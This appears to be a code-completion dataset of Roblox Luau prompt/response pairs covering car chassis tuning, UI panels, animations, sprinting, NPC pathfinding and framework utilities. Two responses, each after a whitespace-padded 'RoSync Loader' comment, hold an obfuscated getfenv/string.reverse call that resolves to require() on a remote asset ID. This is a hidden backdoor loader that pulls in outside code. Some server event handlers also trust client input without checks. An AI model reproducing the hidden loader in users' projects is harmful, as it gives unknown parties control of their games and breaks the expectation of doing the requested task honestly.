	local trajectories = self.StateInfo.Trajectories
	local lastTrajectory = trajectories[#trajectories]
	lastTrajectory.EndTime = self.StateInfo.TotalRuntime

	-- Disconnect the update connection.
	self.StateInfo.UpdateConnection:Disconnect()

	-- Now fire CastTerminating
	self.Caster.CastTerminating:FireSync(self)

	-- And now set the update connection object to nil.
	self.StateInfo.UpdateConnection = nil

	-- And nuke everything in the table + clear the metatable.
	self.Caster = nil
	self.StateInfo = nil
	self.RayInfo = nil
	self.UserData = nil
	setmetatable(self, nil)
end

return ActiveCastStatic


Prompt:
--[=[
	@prop Util Folder
	@within KnitServer
	@readonly
	References the Util folder. Should only be accessed when using Knit as
	a standalone module. If using Knit from Wally, modules should just be
	pulled in via Wally instead of relying on Knit's Util folder, as this
	folder only contains what is necessary for Knit to run in Wally mode.
]=]

Response:
KnitServer.Util = script.Parent.Parent

local SIGNAL_MARKER = newproxy(true)
getmetatable(SIGNAL_MARKER).__tostring = function()
	return "SIGNAL_MARKER"
end

local PROPERTY_MARKER = newproxy(true)
getmetatable(PROPERTY_MARKER).__tostring = function()
	return "PROPERTY_MARKER"
end

local knitRepServiceFolder = Instance.new("Folder")
knitRepServiceFolder.Name = "Services"

local Promise = require(KnitServer.Util.Promise)
local Comm = require(KnitServer.Util.Comm)
local ServerComm = Comm.ServerComm

local services: {[string]: Service} = {}
local started = false
local startedComplete = false
local onStartedComplete = Instance.new("BindableEvent")

local function DoesServiceExist(serviceName: string): boolean
	local service: Service? = services[serviceName]
	return service ~= nil
end


Prompt: -- Game Services

Response:
local Configurations = require(game.ServerStorage.Configurations)
local DisplayManager = require(script.Parent.DisplayManager)


Prompt: -- constants

Response: local REMOTES	= ReplicatedStorage.Remotes


Prompt: --		print("Keyframe : ".. frameName)

Response:
		local repeatAnim = stopToolAnimations()
		playToolAnimation(repeatAnim, 0.0, Humanoid)
	end
end

function playToolAnimation(animName, transitionTime, humanoid)
	if (animName ~= toolAnimName) then

		if (toolAnimTrack ~= nil) then
			toolAnimTrack:Stop()
			toolAnimTrack:Destroy()
			transitionTime = 0
		end

		local roll = math.random(1, animTable[animName].totalWeight)
		local origRoll = roll
		local idx = 1
		while (roll > animTable[animName][idx].weight) do
			roll = roll - animTable[animName][idx].weight
			idx = idx + 1
		end


Prompt: --[[ Last synced 11/11/2020 02:29                                                                                RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                ]]--


Prompt: -- Activate when we die.

Response:
getHumanoid().Died:Connect(function()
	if ( script.ActivateOnDeath.Value ) then
		script.Activate.Value = true;
	end
end);


Response:
local uisBinds = {};
local uisBinds_mt = {__index = uisBinds};

function uisBinds.new()
	local self = {};

	self.connections = {};

	return setmetatable(self, uisBinds_mt);
end


Prompt: ---Controls UI

Response:
script.Parent.Parent:WaitForChild("Controls")
script.Parent.Parent:WaitForChild("ControlsOpen")
script.Parent:WaitForChild("Window")
script.Parent:WaitForChild("Toggle")

local car = script.Parent.Parent.Car.Value
local _Tune = require(car["A-Chassis Tune"])
local UserInputService = game:GetService("UserInputService")
local cPanel = script.Parent
local Controls = script.Parent.Parent.Controls

local ver = require(car["A-Chassis Tune"].README)
cPanel.Window["//INSPARE"].Text = "A-Chassis "..ver.." // INSPARE"

local controlsOpen = false
local cInputB = nil
local cInputT = nil
local cInput = false

for i,v in pairs(_Tune.Peripherals) do
	script.Parent.Parent.Controls:WaitForChild(i)
	local slider = cPanel.Window.Content[i]
	slider.Text = v.."%"
	slider.S.CanvasPosition=Vector2.new(v*(slider.S.CanvasSize.X.Offset-slider.S.Size.X.Offset)/100,0)
	slider.S.Changed:connect(function(property)
		if property=="CanvasPosition" then
			Controls[i].Value = math.floor(100*slider.S.CanvasPosition.x/(slider.S.CanvasSize.X.Offset-slider.S.Size.X.Offset))
			slider.Text = Controls[i].Value.."%"
		end
	end)
end

for i,v in pairs(_Tune.Controls) do
	script.Parent.Parent.Controls:WaitForChild(i)
	local button = cPanel.Window.Content[i]
	button.Text = v.Name
	button.MouseButton1Click:connect(function()
		script.Parent.Parent.ControlsOpen.Value = true
		cPanel.Window.Overlay.Visible = true
		cInput = true
		repeat wait() until cInputB~=nil
		if cInputB == Enum.KeyCode.Return or cInputB == Enum.KeyCode.KeypadEnter then
			--do nothing
		elseif string.find(i,"Contlr")~=nil then
			if cInputT.Name:find("Gamepad") then
				Controls[i].Value = cInputB.Name
				button.Text = cInputB.Name
			else
				cPanel.Window.Error.Visible = true
			end
		elseif i=="MouseThrottle" or i=="MouseBrake" then
			if cInputT == Enum.UserInputType.MouseButton1 or cInputT == Enum.UserInputType.MouseButton2 then
				Controls[i].Value = cInputT.Name
				button.Text = cInputT.Name
			elseif cInputT ==  Enum.UserInputType.Keyboard then
				Controls[i].Value = cInputB.Name
				button.Text = cInputB.Name
			else
				cPanel.Window.Error.Visible = true
			end
		else
			if cInputT == Enum.UserInputType.Keyboard then
				Controls[i].Value = cInputB.Name
				button.Text = cInputB.Name
			else
				cPanel.Window.Error.Visible = true
			end
		end
		cInputB = nil
		cInputT = nil
		cInput = false
		wait(.2)
		cPanel.Window.Overlay.Visible = false
		script.Parent.Parent.ControlsOpen.Value = false
	end)
end

cPanel.Window.Error.Changed:connect(function(property)
	if property == "Visible" then
		wait(3)
		cPanel.Window.Error.Visible = false
	end
end)

UserInputService.InputBegan:connect(function(input) if cInput then cInputB = input.KeyCode cInputT = input.UserInputType end end)
UserInputService.InputChanged:connect(function(input) if cInput and (input.KeyCode==Enum.KeyCode.Thumbstick1 or input.KeyCode==Enum.KeyCode.Thumbstick2) then cInputB = input.KeyCode cInputT = input.UserInputType end end)

cPanel.Toggle.MouseButton1Click:connect(function()
	controlsOpen = not controlsOpen
	if controlsOpen then
		cPanel.Toggle.BackgroundColor3 = Color3.new(1,85/255,.5)
		cPanel.Window:TweenPosition(UDim2.new(0.5, -250,0.5, -250),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.7,true)
	else
		cPanel.Toggle.BackgroundColor3 = Color3.new(1,170/255,0)
		cPanel.Window:TweenPosition(UDim2.new(0.5, -250,0, -500),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.7,true)
	end
end)

cPanel.Window.Tabs.Keyboard.MouseButton1Click:connect(function()
	cPanel.Window.Content:TweenPosition(UDim2.new(0, 0, 0, 60),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
	cPanel.Window.Tabs.Keyboard:TweenPosition(UDim2.new(0, 5, 0, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
	cPanel.Window.Tabs.Mouse:TweenPosition(UDim2.new(0, 120, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
	cPanel.Window.Tabs.Controller:TweenPosition(UDim2.new(0, 235, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
end)

cPanel.Window.Tabs.Mouse.MouseButton1Click:connect(function()
	cPanel.Window.Content:TweenPosition(UDim2.new(-1, 0, 0, 60),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
	cPanel.Window.Tabs.Keyboard:TweenPosition(UDim2.new(0, 5, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
	cPanel.Window.Tabs.Mouse:TweenPosition(UDim2.new(0, 120, 0, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
	cPanel.Window.Tabs.Controller:TweenPosition(UDim2.new(0, 235, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
end)

cPanel.Window.Tabs.Controller.MouseButton1Click:connect(function()
	cPanel.Window.Content:TweenPosition(UDim2.new(-2, 0, 0, 60),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
	cPanel.Window.Tabs.Keyboard:TweenPosition(UDim2.new(0, 5, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
	cPanel.Window.Tabs.Mouse:TweenPosition(UDim2.new(0, 120, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
	cPanel.Window.Tabs.Controller:TweenPosition(UDim2.new(0, 235, 0, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
end)

wait(.5)
cPanel.Toggle:TweenPosition(UDim2.new(0.5,200,1,-25),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,false)
for i=1,6 do
	cPanel.Toggle.BackgroundColor3 = Color3.new(100/255,100/255,100/255)
	wait(.2)
	if controlsOpen then
		cPanel.Toggle.BackgroundColor3 = Color3.new(1,85/255,.5)
	else
		cPanel.Toggle.BackgroundColor3 = Color3.new(1,170/255,0)
	end
	wait(.2)
end


Prompt:
-----------------
--| Constants |--
-----------------

Response:
local BLAST_RADIUS = 25 -- Blast radius of the explosion
local BLAST_DAMAGE = 9999999999999999999999999999999999999999999999999999999999999999999999999999 -- Amount of damage done to humanoids
local BLAST_FORCE = 5000 -- Amount of force applied to parts
local UNANCHOR_PARTS = true -- If set to true, explosions will unanchor anchored parts
local IGNITE_PARTS = true -- If set to true, parts will be set on fire (fire does not do anything)
local SPECIAL_EFFECTS = true -- If set to true, parts hit by a rocket will have a special effect
local BREAK_JOINTS = true -- If set to true, explosions will break joints

local IGNORE_LIST = {rocket = 1, handle = 1, effect = 1, water = 1} -- Rocket will fly through things named these


Prompt: --// Adonis Client Loader (Non-ReplicatedFirst Version)

Response:
local DebugMode = false;

local wait = wait;
local time = time;
local pcall = pcall;
local xpcall = xpcall;
local setfenv = setfenv;
local tostring = tostring;


Prompt: -- Define the function to open or close the window with gene-alike effect

Response:
local function toggleWindow(icon)
	local windowName = icon.Name

	-- Find the corresponding frame in the AppManager using the window name
	local window = appManager:FindFirstChild(windowName)
	if window then
		if window.Visible == false then
			-- Close other windows
			for _, child in ipairs(appManager:GetChildren()) do
				if child:IsA("Frame") and child.Visible then
					child.Visible = false
				end
			end

			dockShelf.Visible = false
			wallShelf.Visible = false

			-- Set the initial position of the window to be relative to the button
			window.Position = UDim2.new(0.319, 0, 0.331, 0)

			-- Set the initial size of the window to be zero
			window.Size = UDim2.new(0, 100, 0, 100)

			-- Show the window and tween its position and size
			window.Visible = true

			-- Determine the tween speed based on the uiSpeedSetting
			local tweenSpeed = ClipSettings.settings.uiSpeedSetting and uiSpeedUser.Value or ClipSettings.uiSpeed

			-- Create a new tween with the appropriate tweenSpeed
			local tweenInfo = TweenInfo.new(tweenSpeed, Enum.EasingStyle.Quad, Enum.EasingDirection.Out)
			TweenService:Create(window, tweenInfo, {Position = UDim2.new(-0.007, 0, 0, 0), Size = UDim2.new(1.007, 0, 1, 0)}):Play()
		end
	end
end


Prompt:
--[[
	Merges dictionary-like tables together.
]]

Response:
function Immutable.JoinDictionaries(...)
	local result = {}

	for i = 1, select("#", ...) do
		local dictionary = select(i, ...)
		for key, value in pairs(dictionary) do
			result[key] = value
		end
	end

	return result
end


Prompt: --//Controller//--

Response:
while true do
	task.wait(Configuration.DelayTime.Value)

	local RandomSong = Songs[math.random(1, #Songs)]

	CurrentSong.SoundId = RandomSong.SoundId

	NameText.Text = "Currently playing: "..RandomSong.Name

	CurrentSong:Play()

	task.wait(RandomSong.TimeLength)
end


Prompt: -- Don't mess with anything in the script. The constants and variables are all mixed together

Response:
local Type = 0		-- Manipulated by GUI	(0 = 12 hr, 1 = 24 hr)
local Sec = true	-- Manipulated by GUI

local year = 1970
local month = 1
local day = 1
local Date = "January 1, 1970"

local hour = 0
local min = 0
local sec = 0
local tag = "AM"
local Time = "12:00 AM"

function getDate()
	local months = {


Prompt: --[[Drivetrain]]

Response:
	Tune.Config			= "RWD"		--"FWD" , "RWD" , "AWD"

	--Differential Settings
	Tune.FDiffSlipThres	= 50		-- 1 - 100%				(Max threshold of applying full lock determined by deviation from avg speed)
	Tune.FDiffLockThres	= 50		-- 0 - 100%				(0 - Bias toward slower wheel, 100 - Bias toward faster wheel)
	Tune.RDiffSlipThres	= 30		-- 1 - 100%
	Tune.RDiffLockThres	= 60		-- 0 - 100%
	Tune.CDiffSlipThres	= 50		-- 1 - 100%				[AWD Only]
	Tune.CDiffLockThres	= 50		-- 0 - 100%				[AWD Only]

	--Traction Control Settings
	Tune.TCSEnabled		= true		-- Implements TCS
	Tune.TCSThreshold	= 18		-- Slip speed allowed before TCS starts working (in SPS)
	Tune.TCSGradient	= 18		-- Slip speed gradient between 0 to max reduction (in SPS)
	Tune.TCSLimit		= 9		-- Minimum amount of torque at max reduction (in percent)


Prompt: -- Initialize decorate tool

Response:
local DecorateTool = require(CoreTools:WaitForChild 'Decorate')
Core.AssignHotkey('P', Core.Support.Call(Core.EquipTool, DecorateTool));
Core.Dock.AddToolButton(Core.Assets.DecorateIcon, 'P', DecorateTool, 'DecorateInfo');

return Core


Prompt: -- Decompiled with Visenya | https://targaryentech.com

Response:
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local handler = car:WaitForChild("AC6_FE_Sounds")
local _Tune = require(car["A-Chassis Tune"])
local on = 0
local throt = 0
local redline = 0
script:WaitForChild("Rev")
for i, v in pairs(car.DriveSeat:GetChildren()) do
  for _, a in pairs(script:GetChildren()) do
    if v.Name == a.Name then
      v:Stop()
      wait()
      v:Destroy()
    end
  end
end
handler:FireServer("newSound", "Rev", car.DriveSeat, script.Rev.SoundId, 0, script.Rev.Volume, true)
handler:FireServer("playSound", "Rev")
car.DriveSeat:WaitForChild("Rev")
while wait() do
  local _RPM = script.Parent.Values.RPM.Value
  if script.Parent.Values.Throttle.Value <= _Tune.IdleThrottle / 100 then
    throt = math.max(0.3, throt - 0.2)
  else
    throt = math.min(1, throt + 0.1)
  end
  if script.Parent.Values.RPM.Value > _Tune.Redline - _Tune.RevBounce / 4 and script.Parent.Values.Throttle.Value > _Tune.IdleThrottle / 100 then
    redline = 0.5
  else
    redline = 1
  end
  if not script.Parent.IsOn.Value then
    on = math.max(on - 0.015, 0)
  else
    on = 1
  end
  local Pitch = math.max((script.Rev.SetPitch.Value + script.Rev.SetRev.Value * _RPM / _Tune.Redline) * on ^ 2, script.Rev.SetPitch.Value)
  if FE then
    handler:FireServer("updateSound", "Rev", script.Rev.SoundId, Pitch, script.Rev.Volume)
  else
    car.DriveSeat.Rev.Pitch = Pitch
  end
end


Prompt: --{0.976, 0},{, 0}

Response:
UIS.InputEnded:connect(function(key, gameProcessed)

	if key.KeyCode == Enum.KeyCode.LeftShift and gameProcessed == false then

		character.Humanoid.WalkSpeed = NormalWalkSpeed

		sprinting = false

		while power < 10 and not sprinting do

			power = power + .03

			Bar:TweenSize(UDim2.new(power / 10.25, 0, .78, 0), 'Out', 'Quint', .1, true)

			--Bar.BackgroundColor3 = Bar.BackgroundColor3:lerp(Color3.fromRGB(255, 166, 11), 0.001)

			wait()

			if power <= 0 then

				character.Humanoid.WalkSpeed = NormalWalkSpeed

			end

		end

	end

end)


Prompt:
--if tool then
--	local handle = tool:FindFirstChild("Handle")
--	local toolCopy = tool:Clone()
--	toolCopy.Parent = game.ServerStorage
--	local toolOnPad = true
--
--	local parentConnection
--	parentConnection = tool.AncestryChanged:connect(function()
--		if handle then handle.Anchored = false end
--		toolOnPad = false
--		parentConnection:disconnect()
--	end)
--
--	if handle then
--		handle.CFrame = (spawner.CFrame + Vector3.new(0,handle.Size.Z/2 + 1,0)) * CFrame.Angles(-math.pi/2,0,0)
--		handle.Anchored = true
--	end
--
--	while true do
--		while toolOnPad do
--			if handle then
--				handle.CFrame = handle.CFrame * CFrame.Angles(0,0,math.pi/60)
--			end
--			wait()
--		end
--		wait(configs["SpawnCooldown"])
--		local newTool = toolCopy:Clone()
--		newTool.Parent = game.Workspace
--		handle = newTool:FindFirstChild("Handle")
--		toolOnPad = true
--	end
--end
--[[ Last synced 7/23/2022 04:59                                                                                RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                ]]--


Prompt: -- Roact

Response:
local new = Roact.createElement
local ToolButton = require(script.Parent:WaitForChild('ToolButton'))


Prompt: -- shut down the script when we die and reset things

Response:
humanoid.Died:Connect(function()
	stepped_con:Disconnect()
	leftshoulderclone:Destroy()
	rightshoulderclone:Destroy()
	viewmodel:Destroy()
	if rightshoulder then
		rightshoulder.Enabled = true
	end
	if leftshoulder then
		leftshoulder.Enabled = true
	end
	larm.Anchored = false
	rarm.Anchored = false
	armtransparency = 0
	visiblearms(false)
end)


Prompt: --end

Response:
end
end

function Plaka()
for i,v in pairs(Car.Body.Plate:GetChildren()) do
v.SGUI.Identifier.Text = Stats.Plate.Value
end
end

function ToogleLock(status)
for i,v in pairs(Car:GetDescendants()) do
if v.ClassName == "VehicleSeat" or v.ClassName == "Seat" then
v.Disabled = status
end
end
end


Prompt: -- Functions

Response:
players.PlayerAdded:Connect(function(player)
    player.CharacterAdded:Connect(function(character)

        local rootPart = character:WaitForChild("HumanoidRootPart")

        local footstepsSound = Instance.new("Sound")
        footstepsSound.Name = "Footsteps"
        footstepsSound.Volume = 0.15
        footstepsSound.RollOffMaxDistance = 30
        footstepsSound.RollOffMode = Enum.RollOffMode.Linear
        footstepsSound.PlayOnRemove = true

        footstepsSound.Parent = rootPart

    end)
end)


Response:
mouse.KeyDown:connect(function(key)
	if key=="r" then
		if GMode>=2 then
			GMode=0
		else
			GMode=GMode+1
		end
		if GMode==2 then
			Controller=true
		else
			Controller=false
		end
		if GMode==0 then
			script.Parent.Mode.Text = "Control Mode: Keyboard"
		elseif GMode==1 then
			script.Parent.Mode.Text = "Control Mode: Mouse"
		else
			script.Parent.Mode.Text = "Control Mode: Controller"
		end
	end
end)
game["Run Service"].RenderStepped:connect(function()
	for i,v in pairs(Binded) do
		v()
	end
end)

car.DriveSeat.Start2:Play()
car.DriveSeat.Start1:Stop()
for i,v in pairs(Sounds.Looped) do
	v:Play()
end
coroutine.resume(coroutine.create(function()
	for i,v in pairs(car.Body.Exhaust:GetChildren()) do
		v.Afterburn.Rate=10
	end
	wait(.3)
	for i,v in pairs(car.Body.Exhaust:GetChildren()) do
		v.Afterburn.Rate=0
	end
end))
while wait() do
	for i,v in pairs(LoopRun) do
		v()
	end
end


Prompt: --print(Hit, Hit.Name)

Response:
			if Hit.Name == "Terrain" or Hit.CanCollide == false then -- In front is Water or a steep hill made of Terrain.
				Hit = nil  -- swim or climb, or Ray hit a Non-colliding Part; and don't check for floor. This will not do, as we do not get a Hit when under-water, so we will check for floor. We must check Swimming event.
			else -- Jump?
				Hit = DrawRay(originPrime + Vector3.new(0,4.8,0), pointPrime)
				if Hit == nil then  -- (Does NOT check CanCollide of Part blocking Jump)
					hum.Jump = true  --  we do NOT check for "Floor", if jumping, but it might be a good idea.
				end -- Room to jump?
			end --Terrain? Water?
		end -- Ladder?

	else	-- path is clear. Check for cliff... or OK to drop

	local Level = torsoPos.y
		if target then
			Level = target.Position.y  -- get Target's current position.
		else  -- Target is dead. Abandon all logic...
			Logic = 0		 -- but still check for floor
		end

		if torsoPos.y - 2 < Level then  -- if Player is not well below us...

			Hit = DrawRay(torsoPos + point * .8 + Vector3.new(0,1,0), Vector3.new(0,-7,0)) -- check for floor 85% of dir ahead
			if Hit == nil then -- There is no floor
				Hit = true  -- Force a hit; we may not be able to get back up here.

			else
				Hit = nil  -- Force a false to hit, 'cause everything is OK. (Does NOT check CanCollide of Floor!)
			end -- cliff check
		end -- Player Hieght
	end  -- path ok?
return Hit
end -- FireRayToward

function FireAtPlayer()
	origin = CFrame.new(torsoPos, Vector3.new(targpos.x, torsoPos.y, targpos.z)) -- This contains Origin & Direction
local hit =	FireRayToward()
return hit
end

function FireRayAhead()
	origin = CFrame.new(torsoPos, torsoPos + Vector3.new(Xdir, 0, Zdir))
local hit =	FireRayToward()
	targpos = torsoPos + Vector3.new(Xdir,0,Zdir)
return hit
end

function FireRay() -- Fire Ahead and diagonaly
	origin = CFrame.new(torsoPos, torsoPos + Vector3.new(Xdag, 0, Zdag))
local hit = FireRayToward()
	if hit then
		origin = CFrame.new(torsoPos, torsoPos + Vector3.new(Xdir, 0, Zdir))
		hit = FireRayToward()
		if not hit then
			targpos = torsoPos + Vector3.new(Xdir,0,Zdir)
		end
	else
			targpos = torsoPos + Vector3.new(Xdag,0,Zdag)
	end
return hit
end -- Fire Ray

function FireDag()
origin = CFrame.new(torsoPos, torsoPos + Vector3.new(Xdag, 0, Zdag))
local	hit = FireRayToward()
return hit
end -- Fire Diagonaly

function	TurnRight()

	if Xdir == 0 then
		Xdir = -Zdir
      Zdir = 0
	else
      Zdir = Xdir
      Xdir = 0
	end
	if Xdag == Zdag then Xdag = -Xdag else	Zdag = -Zdag end

end -- Left

function	TurnLeft()
	if Xdir == 0 then
		Xdir = Zdir
      Zdir = 0
	else
      Zdir = -Xdir
      Xdir = 0
	end

	if Xdag == Zdag then Zdag = -Zdag else	Xdag = -Xdag end

end -- Left

function GetDir()
				Xdir = (targpos.x - torsoPos.x) -- Which way are we going?
				Zdir = (targpos.z - torsoPos.z)


Prompt: --wait

Response:
	wait(BRAINWave)

	while FreeFalling do
		FreeFalling = false
		wait(.2)
	end

end  -- Main


Prompt:
--[=[
	Clones the given instance and adds it to the trove. Shorthand for
	`trove:Add(instance:Clone())`.
]=]

Response:
function Trove:Clone(instance: Instance): Instance
	return self:Add(instance:Clone())
end


Response:
Evt.Ombro.OnServerEvent:Connect(function(Player,Vitima)
	local Nombre
	for SKP_001, SKP_002 in pairs(game.Players:GetChildren()) do
	if SKP_002:IsA('Player') and SKP_002 ~= Player and SKP_002.Name == Vitima then
		if SKP_002.Team == Player.Team then
			Nombre = Player.Name
		else
			Nombre = "Someone"
		end
		Evt.Ombro:FireClient(SKP_002,Nombre)
		end
	end
end)

Evt.Target.OnServerEvent:Connect(function(Player,Vitima)
	Player.Character.Saude.Variaveis.PlayerSelecionado.Value = Vitima
end)

Evt.Render.OnServerEvent:Connect(function(Player,Status,Vitima)
		if Vitima == "N/A" then
			Player.Character.Saude.Stances.Rendido.Value = Status
		else

			local VitimaTop = game.Players:FindFirstChild(Vitima)
		if VitimaTop.Character.Saude.Stances.Algemado.Value == false then
			VitimaTop.Character.Saude.Stances.Rendido.Value = Status
			VitimaTop.Character.Saude.Variaveis.HitCount.Value = 0
		end
	end
end)

Evt.Drag.OnServerEvent:Connect(function(player)
	local Human = player.Character.Humanoid
	local enabled = Human.Parent.Saude.Variaveis.Doer
	local MLs = Human.Parent.Saude.Variaveis.MLs
	local Caido = Human.Parent.Saude.Stances.Caido
	local Item = Human.Parent.Saude.Kit.Epinefrina

	local target = Human.Parent.Saude.Variaveis.PlayerSelecionado

	if Caido.Value == false and target.Value ~= "N/A" then

		local player2 = game.Players:FindFirstChild(target.Value)
		local PlHuman = player2.Character.Humanoid

		local Sangrando = PlHuman.Parent.Saude.Stances.Sangrando
		local MLs = PlHuman.Parent.Saude.Variaveis.MLs
		local Dor = PlHuman.Parent.Saude.Variaveis.Dor
		local Ferido = PlHuman.Parent.Saude.Stances.Ferido
		local PlCaido = PlHuman.Parent.Saude.Stances.Caido
		local Sang = PlHuman.Parent.Saude.Variaveis.Sangue

		if enabled.Value == false then

		if PlCaido.Value == true or PlCaido.Parent.Algemado.Value == true then
		enabled.Value = true

		coroutine.wrap(function()
        while target.Value ~= "N/A" and PlCaido.Value == true and PlHuman.Health > 0 and Human.Health > 0 and Human.Parent.Saude.Stances.Caido.Value == false or target.Value ~= "N/A" and PlCaido.Parent.Algemado.Value == true do wait() pcall(function()
                player2.Character.Torso.Anchored ,player2.Character.Torso.CFrame = true,Human.Parent.Torso.CFrame*CFrame.new(0,0.75,1.5)*CFrame.Angles(math.rad(0), math.rad(0), math.rad(90))
				enabled.Value = true
        end) end
        pcall(function() player2.Character.Torso.Anchored=false
		enabled.Value = false
		end)
		end)()

		enabled.Value = false
		end
		end
	end
end)

Evt.Squad.OnServerEvent:Connect(function(Player,SquadName,SquadColor)
	Player.Character.Saude.FireTeam.SquadName.Value = SquadName
	Player.Character.Saude.FireTeam.SquadColor.Value = SquadColor
end)

Evt.Afogar.OnServerEvent:Connect(function(Player)
	Player.Character.Humanoid.Health = 0
end)


Prompt:
--script.Parent.Parent.BrickColor = BrickColor.new("Lime green")
--Lights1.Material = "SmoothPlastic"
--Lights2.Material = "SmoothPlastic"
--Lights3.Material = "SmoothPlastic"
--Lights1.BrickColor = BrickColor.new("Transparent")
--Lights2.BrickColor = BrickColor.new("Transparent")
--Lights3.BrickColor = BrickColor.new("Transparent")

Response:
local LightsModel = script.Parent.Parent.Parent.LightsModel
local debounce = false

script.Parent.MouseClick:Connect(function()
	if debounce == false then
		debounce = true
		script.Parent.Parent.BrickColor = BrickColor.new("Really red")
		for i, v in pairs(LightsModel:GetDescendants()) do
			if v:IsA("BasePart") then
				v.Material = "Neon"
				v.BrickColor = BrickColor.new("Cyan")
			end
		end
	elseif debounce == true then

	end
end)


Prompt: -- Functional services

Response: TweenService = game:GetService("TweenService")


Prompt: --[[Brakes]]

Response:
	Tune.ABSEnabled		= true		-- Implements ABS
	Tune.ABSThreshold	= 20		-- Slip speed allowed before ABS starts working (in SPS)

	Tune.FBrakeForce	= 2000		-- Front brake force
	Tune.RBrakeForce	= 1650		-- Rear brake force
	Tune.PBrakeForce	= 5200		-- Handbrake force

	Tune.FLgcyBForce	= 15000		-- Front brake force [PGS OFF]
	Tune.RLgcyBForce	= 10000		-- Rear brake force [PGS OFF]
	Tune.LgcyPBForce	= 25000		-- Handbrake force [PGS OFF]


Prompt: -- gets the middle point of 2 vector2's

Response:
function maths:GetMidpoint2(v2,V2)
	return (v2+V2)/2
end


Prompt: -- DefaultValue for spare ammo

Response: local SpareAmmo = 999


Prompt:
-- ROBLOX deviation: we don't support string refs, and this is unsound flowtype when used with ref param of useImperativeHandle
-- | string

Response:
export type React_Context<T> = {
	Provider: React_ComponentType<{ value: T, children: React_Node? }>,
	Consumer: React_ComponentType<{ children: (value: T) -> React_Node? }>,
}


Response:
local force = Instance.new("BodyForce")
force.Parent = torso
f = force
wait(0.01)
elseif ison == 0 then
if arms then
sh[1].Part1 = arms[1]
sh[2].Part1 = arms[2]
f.Parent = nil
arms[2].Name = "Right Leg"
arms[1].Name = "Left Leg"
welds[1].Parent = nil
welds[2].Parent = nil
script.Parent.Parent.Humanoid.WalkSpeed = 16

end
end


Prompt: -- Set the gravitational pull for the confetti.

Response:
local gravity = Vector2.new(0,1);
function _Confetti.setGravity(paramVec2)
	gravity = paramVec2;
end;


Prompt:
--		Button.Size = Size1
--		Button.Material = Material1

Response:
		DigitNumber.Value = DigitNumber.Value - 1
		if DigitNumber.Value < Min then
			DigitNumber.Value = Max
		end
		NumberGUI.Text = DigitNumber.Value
		EnteredCode.Value = tostring(Digit1.Value)..""..tostring(Digit2.Value)..""..tostring(Digit3.Value)
		wait(.5)


Prompt: --Clutch:

Response: Tune.SpeedEngage 	= 15		-- Speed the clutch fully engages at (Based on SPS)


Prompt: -- loop to handle timed state transitions and tool animations

Response:
while Character.Parent ~= nil do
	local _, currentGameTime = wait(0.1)
	stepAnimate(currentGameTime)
end


Prompt:
--[[ ROBLOX TODO: Unhandled node for type: TSIndexedAccessType ]]
--[[ export const test: NewPlugin['test'] ]]

Response:
local function test(val: unknown): boolean
	return val ~= nil and ReactIs.isElement(val)
end
exports.test = test

local plugin: NewPlugin = { serialize = serialize, test = test }

exports.default = plugin
return exports


Prompt: --= Functions =--

Response:
UIS.InputBegan:connect(function(key, gameProcessed)
	if key.KeyCode == Enum.KeyCode.LeftShift and gameProcessed == false then
		character.Humanoid.WalkSpeed = NewWalkSpeed
		sprinting = true
		while power > 0 and sprinting do
			power = power - .03
			Bar.Size = UDim2.new(power / 10, 0, 1, 0)
			--Bar.BackgroundColor3 = Bar.BackgroundColor3:lerp(Color3.fromRGB(255, 42, 42), 0.001)
			tween:Play()
			wait()
			if power <= 0 then
				sprinting = false
				character.Humanoid.WalkSpeed = NormalWalkSpeed
			end
		end
	end
end)

UIS.InputEnded:connect(function(key, gameProcessed)
	if key.KeyCode == Enum.KeyCode.LeftShift and gameProcessed == false then
		character.Humanoid.WalkSpeed = NormalWalkSpeed
		sprinting = false
		runninganim:Stop()
		while power < 10 and not sprinting do
			power = power + .03
			Bar.Size = UDim2.new(power / 10, 0, 1, 0)
			--Bar.BackgroundColor3 = Bar.BackgroundColor3:lerp(Color3.fromRGB(255, 166, 11), 0.001)
			tween2:Play()
			wait()
			if power <= 0 then
				character.Humanoid.WalkSpeed = NormalWalkSpeed
			end
		end
	end
end)

Humanoid.Running:Connect(function()
	print("step 1")
	if Humanoid.MoveDirection.Magnitude > 0 then
		print("step 2")
		if sprinting == true then
			print("complete")
			runninganim:Play()
			--while sprinting==false or Humanoid.MoveDirection.Magnitude <= 0 do
				--if runninganim ~= nil then
				--	runninganim:Stop()
				--end
				--runninganim:Stop()
				--wait()
			--end
		end
	else
		runninganim:Stop()
		end
end)


Prompt:
--- Registers a command based purely on its definition.
-- Prefer using Registry:RegisterCommand for proper handling of server/client model.

Response:
function Registry:RegisterCommandObject (commandObject, fromCmdr)
	for key in pairs(commandObject) do
		if self.CommandMethods[key] == nil then
			error("Unknown key/method in command " .. (commandObject.Name or "unknown command") .. ": " .. key)
		end
	end

	if commandObject.Args then
		for i, arg in pairs(commandObject.Args) do
			if type(arg) == "table" then
				for key in pairs(arg) do
					if self.CommandArgProps[key] == nil then
						error(('Unknown propery in command "%s" argument #%d: %s'):format(commandObject.Name or "unknown", i, key))
					end
				end
			end
		end
	end

	if commandObject.AutoExec and RunService:IsClient() then
		table.insert(self.AutoExecBuffer, commandObject.AutoExec)
		self:FlushAutoExecBufferDeferred()
	end

	-- Unregister the old command if it exists...
